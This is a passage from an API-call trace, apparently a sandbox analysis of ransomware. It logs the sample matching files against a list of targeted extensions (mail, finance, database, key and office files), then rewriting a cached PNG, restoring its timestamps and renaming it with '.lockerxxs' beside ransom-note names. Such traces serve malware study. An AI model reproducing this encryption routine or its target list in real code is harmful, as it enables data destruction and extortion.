(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbo") returned 0 [0084.607] lstrlenA (lpString="*.qbo") returned 5 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbx") returned 0 [0084.607] lstrlenA (lpString="*.qbx") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qba") returned 0 [0084.608] lstrlenA (lpString="*.qba") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qby") returned 0 [0084.608] lstrlenA (lpString="*.qby") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbj") returned 0 [0084.608] lstrlenA (lpString="*.qbj") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.ofx") returned 0 [0084.608] lstrlenA (lpString="*.ofx") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qif") returned 0 [0084.608] lstrlenA (lpString="*.qif") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.mye") returned 0 [0084.608] lstrlenA (lpString="*.mye") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.mbox") returned 0 [0084.608] lstrlenA (lpString="*.mbox") returned 6 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.eml") returned 0 [0084.608] lstrlenA (lpString="*.eml") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.pst") returned 0 [0084.608] lstrlenA (lpString="*.pst") returned 5 [0084.608] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.ost") returned 0 [0084.608] lstrlenA (lpString="*.ost") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.idx") returned 0 [0084.609] lstrlenA (lpString="*.idx") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.dbx") returned 0 [0084.609] lstrlenA (lpString="*.dbx") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.sql") returned 0 [0084.609] lstrlenA (lpString="*.sql") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.mdb") returned 0 [0084.609] lstrlenA (lpString="*.mdb") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.fdb") returned 0 [0084.609] lstrlenA (lpString="*.fdb") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.wab") returned 0 [0084.609] lstrlenA (lpString="*.wab") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.dat") returned 0 [0084.609] lstrlenA (lpString="*.dat") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.txt") returned 0 [0084.609] lstrlenA (lpString="*.txt") returned 5 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.jpeg") returned 0 [0084.609] lstrlenA (lpString="*.jpeg") returned 6 [0084.609] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.jpg") returned 0 [0084.610] lstrlenA (lpString="*.jpg") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.png") returned 0 [0084.610] lstrlenA (lpString="*.png") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.php") returned 0 [0084.610] lstrlenA (lpString="*.php") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.cs") returned 0 [0084.610] lstrlenA (lpString="*.cs") returned 4 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.cpp") returned 0 [0084.610] lstrlenA (lpString="*.cpp") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.rar") returned 0 [0084.610] lstrlenA (lpString="*.rar") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.zip") returned 0 [0084.610] lstrlenA (lpString="*.zip") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.html") returned 0 [0084.610] lstrlenA (lpString="*.html") returned 6 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.htm") returned 0 [0084.610] lstrlenA (lpString="*.htm") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.xlsx") returned 0 [0084.610] lstrlenA (lpString="*.xlsx") returned 6 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.xls") returned 0 [0084.610] lstrlenA (lpString="*.xls") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.mp4") returned 0 [0084.610] lstrlenA (lpString="*.mp4") returned 5 [0084.610] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.ppt") returned 0 [0084.611] lstrlenA (lpString="*.ppt") returned 5 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.pptx") returned 0 [0084.611] lstrlenA (lpString="*.pptx") returned 6 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.doc") returned 0 [0084.611] lstrlenA (lpString="*.doc") returned 5 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.dot") returned 0 [0084.611] lstrlenA (lpString="*.dot") returned 5 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.docx") returned 0 [0084.611] lstrlenA (lpString="*.docx") returned 6 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.7z") returned 0 [0084.611] lstrlenA (lpString="*.7z") returned 4 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.tar") returned 0 [0084.611] lstrlenA (lpString="*.tar") returned 5 [0084.611] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.bz2") returned 0 [0084.612] lstrlenA (lpString="*.bz2") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.gz") returned 0 [0084.612] lstrlenA (lpString="*.gz") returned 4 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.mkv") returned 0 [0084.612] lstrlenA (lpString="*.mkv") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.eml") returned 0 [0084.612] lstrlenA (lpString="*.eml") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.msg") returned 0 [0084.612] lstrlenA (lpString="*.msg") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.edb") returned 0 [0084.612] lstrlenA (lpString="*.edb") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.accdb") returned 0 [0084.612] lstrlenA (lpString="*.accdb") returned 7 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.odb") returned 0 [0084.612] lstrlenA (lpString="*.odb") returned 5 [0084.612] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.java") returned 0 [0084.613] lstrlenA (lpString="*.java") returned 6 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.asm") returned 0 [0084.613] lstrlenA (lpString="*.asm") returned 5 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.pfx") returned 0 [0084.613] lstrlenA (lpString="*.pfx") returned 5 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.pem") returned 0 [0084.613] lstrlenA (lpString="*.pem") returned 5 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.p12") returned 0 [0084.613] lstrlenA (lpString="*.p12") returned 5 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.gpg") returned 0 [0084.613] lstrlenA (lpString="*.gpg") returned 5 [0084.613] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.vsd") returned 0 [0084.613] lstrlenA (lpString="*.vsd") returned 5 [0084.613] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60aec760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60aec760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60aec760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1622, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="chrome_logo_2x[1].png", cAlternateFileName="CHROME~1.PNG")) returned 1 [0084.613] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.613] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chrome_logo_2x[1].png") returned 1 [0084.614] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chrome_logo_2x[1].png") returned 1 [0084.614] lstrcmpiA (lpString1="", lpString2="chrome_logo_2x[1].png") returned -1 [0084.614] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js") returned="chrome-installer.min[1].js" [0084.614] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.614] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.614] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.614] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.614] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="chrome_logo_2x[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" [0084.614] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" [0084.614] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" [0084.614] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png." [0084.614] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.lockerxxs" [0084.614] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.615] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1622 [0084.615] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x60aec760, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x60aec760, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x60aec760, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.615] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.615] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x15fc, lpOverlapped=0x0) returned 1 [0084.706] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png") returned="chrome_logo_2x[1].png" [0084.706] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.706] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x15fc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x15fc, lpOverlapped=0x0) returned 1 [0084.706] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.706] CloseHandle (hObject=0xa4) returned 1 [0084.707] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png.lockerxxs")) returned 1 [0084.708] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x610b9d00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x610b9d00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="close-icon[1].png", cAlternateFileName="CLOSE-~1.PNG")) returned 1 [0084.708] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.708] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="close-icon[1].png") returned 1 [0084.708] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="close-icon[1].png") returned 1 [0084.708] lstrcmpiA (lpString1="", lpString2="close-icon[1].png") returned -1 [0084.709] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png") returned="chrome_logo_2x[1].png" [0084.709] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 